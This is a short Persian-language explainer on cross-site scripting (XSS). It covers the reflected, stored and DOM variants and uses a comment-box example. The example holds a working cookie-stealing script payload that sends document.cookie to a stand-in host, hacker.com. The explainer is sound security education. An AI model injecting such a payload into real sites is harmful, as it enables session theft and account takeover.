اسکریپتنویسی بینسایتی(XSS)
آسیبپذیری امنیتی که به مهاجمان اجازه میدهد اسکریپتهای مخرب را در صفحات وبی که توسط کاربران دیگر مشاهده میشود، تزریق کنند.
اسکریپتنویسی بینسایتی چیه؟
خلاصه در یه جمله: وقتی هکر بتونه کد JavaScript مخرب تو سایت تو بذاره و وقتی کاربرای دیگه سایت رو باز میکنن، اون کد اجرا بشه!
فرض کن یه تابلو اعلانات داری تو محله. هر کسی میتونه یادداشت بذاره. هکر میاد یه یادداشت میذاره که وقتی کسی میخونهش، ناخودآگاه کیفش رو میده به هکر! XSS همینه — هکر کد JavaScript میذاره تو سایت تو، کاربرای دیگه که میان سایت رو میبینن، کد اجرا میشه و دادههاشون دزدیده میشه.
انواع XSS:
Reflected XSS: کد مخرب تو URL هست. کاربر روی لینک کلیک میکنه، کد اجرا میشه. معمولاً با فیشینگ همراهه.
Stored XSS: کد مخرب تو دیتابیس ذخیره میشه. هر کسی صفحه رو باز کنه، کد اجرا میشه. خطرناکتره!
DOM XSS: کد مخرب تو مرورگر کاربر اجرا میشه، بدون اینکه به سرور برسه.
مثال XSS:
فرض کن یه سایت داری که کامنت میگیره و نمایش میده:
1<div>نظر کاربر: [کامنت کاربر]</div>
هکر کامنت میذاره:
1<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>
وقتی کاربر دیگه صفحه رو باز میکنه، این کد اجرا میشه و کوکی کاربر فرستاده میشه به هکر! هکر با کوکی میتونه وارد اکانت کاربر بشه.
چرا برای امنیت مهمه؟
چون XSS میتونه منجر به دزدی Session، دزدی اطلاعات شخصی، Redirect به سایت فیشینگ، یا حتی انجام اقدامات به نام کاربر بشه.